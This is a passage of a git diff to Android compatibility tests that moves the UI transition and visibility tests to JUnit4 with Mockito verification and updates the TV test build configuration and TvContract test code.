-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
-                target[0].setVisibility(View.GONE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            target[0].setVisibility(View.GONE);
         });
         waitForStart();
         assertEquals(1, mTargets.size());
@@ -207,6 +211,7 @@
         endTransition();
     }
 
+    @Test
     public void testAddTargetName() throws Throwable {
         enterScene(R.layout.scene4);
         assertNull(mTransition.getTargetNames());
@@ -220,6 +225,7 @@
         endTransition();
     }
 
+    @Test
     public void testRemoveTargetName() throws Throwable {
         enterScene(R.layout.scene4);
         mTransition.addTarget("holder");
@@ -237,22 +243,22 @@
         endTransition();
     }
 
+    @Test
     public void testIsTransitionRequired() throws Throwable {
         enterScene(R.layout.scene1);
         mTransition = new NotRequiredTransition();
+        assertFalse(mTransition.isTransitionRequired(null, null));
         resetListener();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
-                mActivity.findViewById(R.id.hello).setVisibility(View.GONE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            mActivity.findViewById(R.id.hello).setVisibility(View.GONE);
         });
         waitForStart();
         assertEquals(0, mTargets.size());
         endTransition();
     }
 
+    @Test
     public void testCanRemoveViews() throws Throwable {
         enterScene(R.layout.scene1);
         assertFalse(mTransition.canRemoveViews());
@@ -281,10 +287,11 @@
         startTransition(R.layout.scene2);
     }
 
+    @Test
     public void testExcludeChildrenView() throws Throwable {
         View layout1 = loadLayout(R.layout.scene1);
         Scene scene1 = loadScene(layout1);
-        enterScene(R.layout.scene1);
+        enterScene(scene1);
         View holder1 = layout1.findViewById(R.id.holder);
         mTransition.excludeChildren(holder1, true);
         View layout2 = loadLayout(R.layout.scene2);
@@ -292,29 +299,48 @@
         View holder2 = layout2.findViewById(R.id.holder);
         mTransition.excludeChildren(holder2, true);
         startTransition(scene2);
-        waitForEnd(0); // Should already be ended, since no children are transitioning
+        // Should already be ended, since no children are transitioning
+        verify(mListener, times(1)).onTransitionEnd(any());
 
         mTransition.excludeChildren(holder1, false); // remove it
         mTransition.excludeChildren(holder2, false); // remove it
         resetListener();
         startTransition(scene1);
-        assertEquals(1, mListener.endLatch.getCount()); // it is running as expected
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         endTransition();
     }
 
+    @Test
     public void testExcludeChildrenId() throws Throwable {
         enterScene(R.layout.scene1);
         mTransition.excludeChildren(R.id.holder, true);
         startTransition(R.layout.scene2);
-        waitForEnd(0); // Should already be ended, since no children are transitioning
+        // Should already be ended, since no children are transitioning
+        verify(mListener, times(1)).onTransitionEnd(any());
 
         resetListener();
         mTransition.excludeChildren(R.id.holder, false); // remove it
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount()); // It is running
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         endTransition();
     }
 
+    @Test
+    public void testExcludeChildrenClass() throws Throwable {
+        enterScene(R.layout.scene1);
+        mTransition.excludeChildren(RelativeLayout.class, true);
+        startTransition(R.layout.scene2);
+        // Should already be ended, since no children are transitioning
+        verify(mListener, times(1)).onTransitionEnd(any());
+
+        resetListener();
+        mTransition.excludeChildren(RelativeLayout.class, false); // remove it
+        startTransition(R.layout.scene1);
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
+        endTransition();
+    }
+
+    @Test
     public void testExcludeTargetView() throws Throwable {
         View layout1 = loadLayout(R.layout.scene1);
         Scene scene1 = loadScene(layout1);
@@ -322,54 +348,61 @@
         View redSquare1 = layout1.findViewById(R.id.redSquare);
         mTransition.excludeTarget(redSquare1, true);
         startTransition(R.layout.scene7);
-        waitForEnd(0); // Should already be ended, since no children are transitioning
+        waitForEnd(600);
 
         mTransition.excludeTarget(redSquare1, false); // remove it
         resetListener();
         startTransition(scene1);
-        assertEquals(1, mListener.endLatch.getCount()); // it is running as expected
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         endTransition();
     }
 
+    @Test
     public void testExcludeTargetId() throws Throwable {
         enterScene(R.layout.scene1);
         mTransition.excludeTarget(R.id.redSquare, true);
         startTransition(R.layout.scene7);
-        waitForEnd(0); // Should already be ended, since no children are transitioning
+        // Should already be ended, since no children are transitioning
+        verify(mListener, times(1)).onTransitionEnd(any());
 
         resetListener();
         mTransition.excludeTarget(R.id.redSquare, false); // remove it
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount()); // It is running
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         endTransition();
     }
 
+    @Test
     public void testExcludeTargetClass() throws Throwable {
         enterScene(R.layout.scene1);
         mTransition.excludeTarget(TextView.class, true);
         startTransition(R.layout.scene3);
-        waitForEnd(0); // Should already be ended, since no children are transitioning
+        // Should already be ended, since no children are transitioning
+        verify(mListener, times(1)).onTransitionEnd(any());
 
         resetListener();
         mTransition.excludeTarget(TextView.class, false); // remove it
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount()); // It is running
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         endTransition();
     }
 
+    @Test
     public void testExcludeTargetName() throws Throwable {
         enterScene(R.layout.scene1);
         mTransition.excludeTarget("hello", true);
         startTransition(R.layout.scene3);
-        waitForEnd(0); // Should already be ended, since no children are transitioning
+        // Should already be ended, since no children are transitioning
+        verify(mListener, times(1)).onTransitionEnd(any());
 
         resetListener();
         mTransition.excludeTarget("hello", false); // remove it
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount()); // It is running
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         endTransition();
     }
 
+    @Test
     public void testDuration() throws Throwable {
         assertEquals(-1, mTransition.getDuration());
         enterScene(R.layout.scene1);
@@ -377,12 +410,15 @@
         assertEquals(500, mTransition.getDuration());
         startTransition(R.layout.scene3);
         long startTime = SystemClock.uptimeMillis();
-        waitForEnd(600);
+        waitForEnd(800);
         long endTime = SystemClock.uptimeMillis();
-        assertEquals(500, endTime - startTime, 100);
+        long duration = endTime - startTime;
+        assertTrue(duration >= 500 && duration < 900);
     }
 
+    @Test
     public void testEpicenter() throws Throwable {
+        assertNull(mTransition.getEpicenter());
         EpicenterCallback callback = new EpicenterCallback() {
             @Override
             public Rect onGetEpicenter(Transition transition) {
@@ -390,9 +426,11 @@
             }
         };
         mTransition.setEpicenterCallback(callback);
-        assertEquals(callback, mTransition.getEpicenterCallback());
+        assertSame(callback, mTransition.getEpicenterCallback());
+        assertEquals(new Rect(0, 0, 1, 1), mTransition.getEpicenter());
     }
 
+    @Test
     public void testInterpolator() throws Throwable {
         enterScene(R.layout.scene1);
         View redSquare = mActivity.findViewById(R.id.redSquare);
@@ -406,23 +444,26 @@
         startTransition(R.layout.scene4);
         assertFalse(transition.animators.isEmpty());
         Animator animator = transition.animators.get(redSquare);
-        AnimationStartListener listener = transition.listeners.get(redSquare);
-        assertTrue(listener.startLatch.await(100, TimeUnit.MILLISECONDS));
+        Animator.AnimatorListener listener = transition.listeners.get(redSquare);
+        verify(listener, within(100)).onAnimationStart(any(), eq(false));
         assertSame(interpolator, animator.getInterpolator());
         endTransition();
     }
 
+    @Test
     public void testName() throws Throwable {
         assertEquals("android.transition.cts.BaseTransitionTest$TestTransition",
                 mTransition.getName());
     }
 
+    @Test
     public void testPathMotion() throws Throwable {
         PathMotion pathMotion = new ArcMotion();
         mTransition.setPathMotion(pathMotion);
         assertEquals(pathMotion, mTransition.getPathMotion());
     }
 
+    @Test
     public void testPropagation() throws Throwable {
         enterScene(R.layout.scene1);
         CaptureAnimatorTransition transition = new CaptureAnimatorTransition();
@@ -460,13 +501,23 @@
         startTransition(R.layout.scene4);
         Animator redSquareAnimator = transition.animators.get(redSquare);
         Animator greenSquareAnimator = transition.animators.get(greenSquare);
-        AnimationStartListener listener = transition.listeners.get(redSquare);
-        assertTrue(listener.startLatch.await(100, TimeUnit.MILLISECONDS));
+        Animator.AnimatorListener listener = transition.listeners.get(redSquare);
+        verify(listener, within(100)).onAnimationStart(any(), eq(false));
         assertEquals(0, redSquareAnimator.getStartDelay());
         assertEquals(diffTop, greenSquareAnimator.getStartDelay());
         endTransition();
     }
 
+    @Test
+    public void testSetPropagation() throws Throwable {
+        Transition transition = new ChangeBounds();
+        assertNull(transition.getPropagation());
+        TransitionPropagation propagation = new CircularPropagation();
+        transition.setPropagation(propagation);
+        assertSame(propagation, transition.getPropagation());
+    }
+
+    @Test
     public void testStartDelay() throws Throwable {
         CaptureAnimatorTransition transition = new CaptureAnimatorTransition();
         mTransition = transition;
@@ -482,21 +533,26 @@
 
         Animator animator = transition.animators.get(redSquare);
         assertFalse(animator.isRunning());
-        AnimationStartListener listener = transition.listeners.get(redSquare);
-        assertTrue(listener.startLatch.await(250, TimeUnit.MILLISECONDS));
+        Animator.AnimatorListener listener = transition.listeners.get(redSquare);
+        verify(listener, within(250)).onAnimationStart(any(), eq(false));
         endTransition();
     }
 
+    @Test
     public void testTransitionValues() throws Throwable {
         enterScene(R.layout.scene1);
-        mTransition = new CheckTransitionValuesTransition();
+        CheckTransitionValuesTransition transition = new CheckTransitionValuesTransition();
+        mTransition = transition;
         mTransition.setDuration(10);
         resetListener();
-        startTransition(R.layout.scene4);
+        startTransition(R.layout.scene2);
+        assertTrue(transition.onDisappearCalled.await(500, TimeUnit.MILLISECONDS));
+        assertTrue(transition.onAppearCalled.await(500, TimeUnit.MILLISECONDS));
         // The transition has all the asserts in it, so we can just end it now.
         endTransition();
     }
 
+    @Test
     public void testMatchOrder() throws Throwable {
         mTransition = new ChangeBounds();
         resetListener();
@@ -511,10 +567,62 @@
 
         resetListener();
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount());
+        verify(mListener, never()).onTransitionEnd(any()); // it is running as expected
         waitForEnd(400);
     }
 
+    @Test
+    public void testGetTransitionProperties() throws Throwable {
+        enterScene(R.layout.scene1);
+        // Make the transition make changes to properties in getTransitionProperties.
+        TransitionPropertiesTransition transition = new TransitionPropertiesTransition(false);
+        mTransition = transition;
+        resetListener();
+        startTransition(R.layout.scene2);
+        assertTrue(transition.latch.await(500, TimeUnit.MILLISECONDS));
+        endTransition();
+
+        // Now make the transition only make changes to unimportant properties.
+        transition = new TransitionPropertiesTransition(true);
+        mTransition = transition;
+        resetListener();
+        startTransition(R.layout.scene1);
+        verify(mListener, within(500)).onTransitionEnd(any());
+        // createAnimator shouldn't have been called.
+        assertEquals(1, transition.latch.getCount());
+
+        assertNotNull(transition.getTransitionProperties());
+        assertEquals(1, transition.getTransitionProperties().length);
+    }
+
+    @Test
+    public void testGoWithNullParameter() throws Throwable {
+        final View layout1 = loadLayout(R.layout.scene1);
+        final Scene scene1 = loadScene(layout1);
+
+        final View layout3 = loadLayout(R.layout.scene3);
+        final Scene scene3 = loadScene(layout3);
+
+        enterScene(scene1);
+
+        mActivityRule.runOnUiThread(() -> {
+            // scene1
+            assertSame(layout1, mActivity.findViewById(R.id.holder));
+            assertNotNull(mActivity.findViewById(R.id.hello));
+
+            TransitionManager.go(scene3, null);
+            // now at scene3
+            assertSame(layout3, mActivity.findViewById(R.id.holder));
+            assertNull(mActivity.findViewById(R.id.hello));
+
+            TransitionManager.go(scene1, null);
+
+            // now at scene1
+            assertSame(layout1, mActivity.findViewById(R.id.holder));
+            assertNotNull(mActivity.findViewById(R.id.hello));
+        });
+    }
+
     private class NotRequiredTransition extends TestTransition {
         @Override
         public boolean isTransitionRequired(TransitionValues startValues,
@@ -525,7 +633,7 @@
 
     private class CaptureAnimatorTransition extends TestTransition {
         public HashMap<View, Animator> animators = new HashMap<>();
-        public HashMap<View, AnimationStartListener> listeners = new HashMap<>();
+        public HashMap<View, Animator.AnimatorListener> listeners = new HashMap<>();
 
         @Override
         public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
@@ -543,7 +651,7 @@
 
         private Animator setupAnimator(Animator animator, View view) {
             animators.put(view, animator);
-            AnimationStartListener listener = new AnimationStartListener();
+            Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
             animator.addListener(listener);
             listeners.put(view, listener);
             return animator;
@@ -551,9 +659,12 @@
     }
 
     private class CheckTransitionValuesTransition extends TestTransition {
+        public CountDownLatch onAppearCalled = new CountDownLatch(1);
+        public CountDownLatch onDisappearCalled = new CountDownLatch(1);
         @Override
         public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
                 TransitionValues endValues) {
+            onAppearCalled.countDown();
             assertNull(getTransitionValues(endValues.view, true));
             assertEquals(endValues, getTransitionValues(endValues.view, false));
             return super.onAppear(sceneRoot, view, startValues, endValues);
@@ -562,18 +673,53 @@
         @Override
         public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
                 TransitionValues endValues) {
+            onDisappearCalled.countDown();
             assertNull(getTransitionValues(startValues.view, false));
             assertEquals(startValues, getTransitionValues(startValues.view, true));
             return super.onDisappear(sceneRoot, view, startValues, endValues);
         }
     }
 
-    private class AnimationStartListener extends AnimatorListenerAdapter {
-        public CountDownLatch startLatch = new CountDownLatch(1);
+    private static class TransitionPropertiesTransition extends Transition {
+        private static final String SIDE_PROP = "prop1";
+        private static final String IMPORTANT_PROP = "prop2";
+        private static final String[] PROPERTIES = {
+                IMPORTANT_PROP
+        };
+
+        private boolean mOnlyUnimportant;
+        public CountDownLatch latch = new CountDownLatch(1);
+
+        public TransitionPropertiesTransition(boolean onlyUnimportant) {
+            mOnlyUnimportant = onlyUnimportant;
+        }
 
         @Override
-        public void onAnimationStart(Animator animation) {
-            startLatch.countDown();
+        public String[] getTransitionProperties() {
+            return PROPERTIES;
+        }
+
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            transitionValues.values.put(SIDE_PROP, 1);
+            transitionValues.values.put(IMPORTANT_PROP, 1);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            transitionValues.values.put(SIDE_PROP, 2);
+            int val = mOnlyUnimportant ? 1 : 2;
+            transitionValues.values.put(IMPORTANT_PROP, val);
+        }
+
+        @Override
+        public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
+                TransitionValues endValues) {
+            if (startValues != null && endValues != null) {
+                latch.countDown();
+            }
+
+            return null;
         }
     }
 }
diff --git a/tests/tests/transition/src/android/transition/cts/VisibilityTest.java b/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
index 9b91a36..6b608e4 100644
--- a/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
+++ b/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
@@ -15,42 +15,65 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import android.animation.Animator;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.transition.TransitionManager;
 import android.transition.TransitionValues;
 import android.transition.Visibility;
 import android.view.View;
+import android.view.ViewGroup;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class VisibilityTest extends BaseTransitionTest {
     Visibility mVisibilityTransition;
 
-    public VisibilityTest() {
-    }
-
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         mVisibilityTransition = (Visibility) mTransition;
     }
 
+    @Test
     public void testMode() throws Throwable {
         assertEquals(Visibility.MODE_IN | Visibility.MODE_OUT, mVisibilityTransition.getMode());
 
         // Should animate in and out
         enterScene(R.layout.scene4);
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount());
-        waitForEnd(400);
+        verify(mListener, never()).onTransitionEnd(any());
+        waitForEnd(800);
 
         resetListener();
         startTransition(R.layout.scene4);
-        assertEquals(1, mListener.endLatch.getCount());
-        waitForEnd(400);
+        verify(mListener, never()).onTransitionEnd(any());
+        waitForEnd(800);
 
         // Now only animate in
         resetListener();
         mVisibilityTransition.setMode(Visibility.MODE_IN);
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount());
-        waitForEnd(400);
+        verify(mListener, never()).onTransitionEnd(any());
+        waitForEnd(800);
 
         // No animation since it should only animate in
         resetListener();
@@ -66,10 +89,11 @@
         // but it should animate out
         resetListener();
         startTransition(R.layout.scene4);
-        assertEquals(1, mListener.endLatch.getCount());
-        waitForEnd(400);
+        verify(mListener, never()).onTransitionEnd(any());
+        waitForEnd(800);
     }
 
+    @Test
     public void testIsVisible() throws Throwable {
         assertFalse(mVisibilityTransition.isVisible(null));
 
@@ -80,29 +104,115 @@
         mTransition.captureStartValues(visibleValues);
 
         assertTrue(mVisibilityTransition.isVisible(visibleValues));
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                redSquare.setVisibility(View.INVISIBLE);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> redSquare.setVisibility(View.INVISIBLE));
+        mInstrumentation.waitForIdleSync();
         TransitionValues invisibleValues = new TransitionValues();
         invisibleValues.view = redSquare;
         mTransition.captureStartValues(invisibleValues);
         assertFalse(mVisibilityTransition.isVisible(invisibleValues));
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                redSquare.setVisibility(View.GONE);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> redSquare.setVisibility(View.GONE));
+        mInstrumentation.waitForIdleSync();
         TransitionValues goneValues = new TransitionValues();
         goneValues.view = redSquare;
         mTransition.captureStartValues(goneValues);
         assertFalse(mVisibilityTransition.isVisible(goneValues));
     }
+
+    @Test
+    public void testOnAppear() throws Throwable {
+        enterScene(R.layout.scene4);
+        AppearTransition transition = new AppearTransition();
+        mTransition = transition;
+        resetListener();
+        startTransition(R.layout.scene5);
+        assertTrue(transition.onAppearCalled.await(500, TimeUnit.MILLISECONDS));
+        // No need to end the transition since AppearTransition doesn't create
+        // any animators.
+    }
+
+    @Test
+    public void testOnDisppear() throws Throwable {
+        // First, test with overlay
+        enterScene(R.layout.scene5);
+        DisappearTransition transition = new DisappearTransition(true);
+        mTransition = transition;
+        resetListener();
+        startTransition(R.layout.scene4);
+        assertTrue(transition.onDisppearCalled.await(500, TimeUnit.MILLISECONDS));
+        // No need to end the transition since DisappearTransition doesn't create
+        // any animators.
+
+        // Next test without overlay
+        enterScene(R.layout.scene5);
+        transition = new DisappearTransition(false);
+        mTransition = transition;
+        resetListener();
+        final View text = mActivity.findViewById(R.id.text);
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            text.setVisibility(View.GONE);
+        });
+        assertTrue(transition.onDisppearCalled.await(500, TimeUnit.MILLISECONDS));
+        // No need to end the transition since DisappearTransition doesn't create
+        // any animators.
+    }
+
+    static class AppearTransition extends Visibility {
+        private View mExpectedView;
+        public CountDownLatch onAppearCalled = new CountDownLatch(1);
+        @Override
+        public Animator onAppear(ViewGroup sceneRoot, TransitionValues startValues,
+                int startVisibility, TransitionValues endValues, int endVisibility) {
+            assertNotNull(endValues);
+            mExpectedView = endValues.view;
+            return super.onAppear(sceneRoot, startValues, startVisibility, endValues,
+                    endVisibility);
+        }
+
+        @Override
+        public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+                TransitionValues endValues) {
+            assertSame(mExpectedView, view);
+            onAppearCalled.countDown();
+            return null;
+        }
+    }
+
+    static class DisappearTransition extends Visibility {
+        private View mExpectedView;
+        private final boolean mExpectingOverlay;
+        public CountDownLatch onDisppearCalled = new CountDownLatch(1);
+
+        public DisappearTransition(boolean expectingOverlay) {
+            mExpectingOverlay = expectingOverlay;
+        }
+
+        @Override
+        public Animator onDisappear(ViewGroup sceneRoot, TransitionValues startValues,
+                int startVisibility, TransitionValues endValues, int endVisibility) {
+            assertNotNull(startValues);
+            if (mExpectingOverlay) {
+                assertNull(endValues);
+                mExpectedView = null;
+            } else {
+                assertNotNull(endValues);
+                mExpectedView = endValues.view;
+            }
+            return super.onDisappear(sceneRoot, startValues, startVisibility, endValues,
+                    endVisibility);
+        }
+
+        @Override
+        public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+                TransitionValues endValues) {
+            assertNotNull(view);
+            if (mExpectedView != null) {
+                assertSame(mExpectedView, view);
+            }
+            onDisppearCalled.countDown();
+            return null;
+        }
+    }
 }
 
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 749e3d1..640e16e 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -29,7 +29,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/tv/AndroidTest.xml b/tests/tests/tv/AndroidTest.xml
index d5a133f..8068c72 100644
--- a/tests/tests/tv/AndroidTest.xml
+++ b/tests/tests/tv/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS TV test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="tv" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvTestCases.apk" />
     </target_preparer>
@@ -22,5 +23,6 @@
         <option name="package" value="android.tv.cts" />
         <!-- test-timeout unit is ms, value = 5 min -->
         <option name="test-timeout" value="300000" />
+        <option name="runtime-hint" value="9m" />
     </test>
 </configuration>
diff --git a/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
index 6164936..f116d0a 100644
--- a/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
@@ -19,7 +19,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.media.tv.TvContract;
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
@@ -29,6 +28,8 @@
 
 import android.tv.cts.R;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
diff --git a/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java b/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
index a7b5805..2acf5ce 100644
--- a/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
@@ -19,7 +19,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.media.tv.TvContract;
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
@@ -31,6 +30,8 @@
 
 import android.tv.cts.R;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.ArrayList;
 import java.util.List;
 
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 8811748..140e262 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -27,8 +27,11 @@
 import android.media.tv.TvContentRating;
 import android.media.tv.TvContract;
 import android.media.tv.TvContract.Channels;
+import android.media.tv.TvContract.PreviewPrograms;
+import android.media.tv.TvContract.Programs;
 import android.media.tv.TvContract.Programs.Genres;
 import android.media.tv.TvContract.RecordedPrograms;
+import android.media.tv.TvContract.WatchNextPrograms;
 import android.net.Uri;
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
@@ -44,44 +47,45 @@
  */
 public class TvContractTest extends AndroidTestCase {
     private static final String[] CHANNELS_PROJECTION = {
-        TvContract.Channels._ID,
-        TvContract.Channels.COLUMN_INPUT_ID,
-        TvContract.Channels.COLUMN_TYPE,
-        TvContract.Channels.COLUMN_SERVICE_TYPE,
-        TvContract.Channels.COLUMN_ORIGINAL_NETWORK_ID,
-        TvContract.Channels.COLUMN_TRANSPORT_STREAM_ID,
-        TvContract.Channels.COLUMN_SERVICE_ID,
-        TvContract.Channels.COLUMN_DISPLAY_NUMBER,
-        TvContract.Channels.COLUMN_DISPLAY_NAME,
-        TvContract.Channels.COLUMN_NETWORK_AFFILIATION,
-        TvContract.Channels.COLUMN_DESCRIPTION,
-        TvContract.Channels.COLUMN_VIDEO_FORMAT,
-        TvContract.Channels.COLUMN_INTERNAL_PROVIDER_DATA,
-        TvContract.Channels.COLUMN_VERSION_NUMBER,
+        Channels._ID,
+        Channels.COLUMN_INPUT_ID,
+        Channels.COLUMN_TYPE,
+        Channels.COLUMN_SERVICE_TYPE,
+        Channels.COLUMN_ORIGINAL_NETWORK_ID,
+        Channels.COLUMN_TRANSPORT_STREAM_ID,
+        Channels.COLUMN_SERVICE_ID,
+        Channels.COLUMN_DISPLAY_NUMBER,
+        Channels.COLUMN_DISPLAY_NAME,
+        Channels.COLUMN_NETWORK_AFFILIATION,
+        Channels.COLUMN_DESCRIPTION,
+        Channels.COLUMN_VIDEO_FORMAT,
+        Channels.COLUMN_INTERNAL_PROVIDER_DATA,
+        Channels.COLUMN_VERSION_NUMBER,
+        Channels.COLUMN_INTERNAL_PROVIDER_ID,
     };
 
     private static final String[] PROGRAMS_PROJECTION = {
-        TvContract.Programs._ID,
-        TvContract.Programs.COLUMN_CHANNEL_ID,
-        TvContract.Programs.COLUMN_TITLE,
-        TvContract.Programs.COLUMN_SEASON_DISPLAY_NUMBER,
-        TvContract.Programs.COLUMN_SEASON_TITLE,
-        TvContract.Programs.COLUMN_EPISODE_DISPLAY_NUMBER,
-        TvContract.Programs.COLUMN_EPISODE_TITLE,
-        TvContract.Programs.COLUMN_START_TIME_UTC_MILLIS,
-        TvContract.Programs.COLUMN_END_TIME_UTC_MILLIS,
-        TvContract.Programs.COLUMN_BROADCAST_GENRE,
-        TvContract.Programs.COLUMN_CANONICAL_GENRE,
-        TvContract.Programs.COLUMN_SHORT_DESCRIPTION,
-        TvContract.Programs.COLUMN_LONG_DESCRIPTION,
-        TvContract.Programs.COLUMN_VIDEO_WIDTH,
-        TvContract.Programs.COLUMN_VIDEO_HEIGHT,
-        TvContract.Programs.COLUMN_AUDIO_LANGUAGE,
-        TvContract.Programs.COLUMN_CONTENT_RATING,
-        TvContract.Programs.COLUMN_POSTER_ART_URI,
-        TvContract.Programs.COLUMN_THUMBNAIL_URI,
-        TvContract.Programs.COLUMN_INTERNAL_PROVIDER_DATA,
-        TvContract.Programs.COLUMN_VERSION_NUMBER,
+        Programs._ID,
+        Programs.COLUMN_CHANNEL_ID,
+        Programs.COLUMN_TITLE,
+        Programs.COLUMN_SEASON_DISPLAY_NUMBER,
+        Programs.COLUMN_SEASON_TITLE,
+        Programs.COLUMN_EPISODE_DISPLAY_NUMBER,
+        Programs.COLUMN_EPISODE_TITLE,
+        Programs.COLUMN_START_TIME_UTC_MILLIS,
+        Programs.COLUMN_END_TIME_UTC_MILLIS,
+        Programs.COLUMN_BROADCAST_GENRE,
+        Programs.COLUMN_CANONICAL_GENRE,
+        Programs.COLUMN_SHORT_DESCRIPTION,
+        Programs.COLUMN_LONG_DESCRIPTION,
+        Programs.COLUMN_VIDEO_WIDTH,
+        Programs.COLUMN_VIDEO_HEIGHT,
+        Programs.COLUMN_AUDIO_LANGUAGE,
+        Programs.COLUMN_CONTENT_RATING,
+        Programs.COLUMN_POSTER_ART_URI,
+        Programs.COLUMN_THUMBNAIL_URI,
+        Programs.COLUMN_INTERNAL_PROVIDER_DATA,
+        Programs.COLUMN_VERSION_NUMBER,
     };
 
     private static long OPERATION_TIME = 1000l;
@@ -101,6 +105,7 @@
     private static final String WHITE_SPACES = " \r \n \t \f ";
 
     private static final String PARAM_CANONICAL_GENRE = "canonical_genre";
+    private static final String NON_EXISTING_COLUMN_NAME = "non_existing_column";
 
     private String mInputId;
     private ContentResolver mContentResolver;
@@ -124,84 +129,139 @@
             super.tearDown();
             return;
         }
-        // Clean up, just in case we failed to delete the entry when a test failed.
-        // The cotentUris are specific to this package, so this will delete only the
-        // entries inserted by this package.
-        String[] projection = { TvContract.Channels._ID };
-        try (Cursor cursor = mContentResolver.query(mChannelsUri, projection, null, null, null)) {
-            while (cursor != null && cursor.moveToNext()) {
-                long channelId = cursor.getLong(0);
-                mContentResolver.delete(
-                        TvContract.buildProgramsUriForChannel(channelId), null, null);
-            }
-        }
-        mContentResolver.delete(mChannelsUri, null, null);
+        mContentResolver.delete(Channels.CONTENT_URI, null, null);
         mContentResolver.delete(RecordedPrograms.CONTENT_URI, null, null);
+        mContentResolver.delete(WatchNextPrograms.CONTENT_URI, null, null);
         super.tearDown();
     }
 
-    private static ContentValues createDummyChannelValues(String inputId) {
+    private static ContentValues createDummyChannelValues(String inputId, boolean preview) {
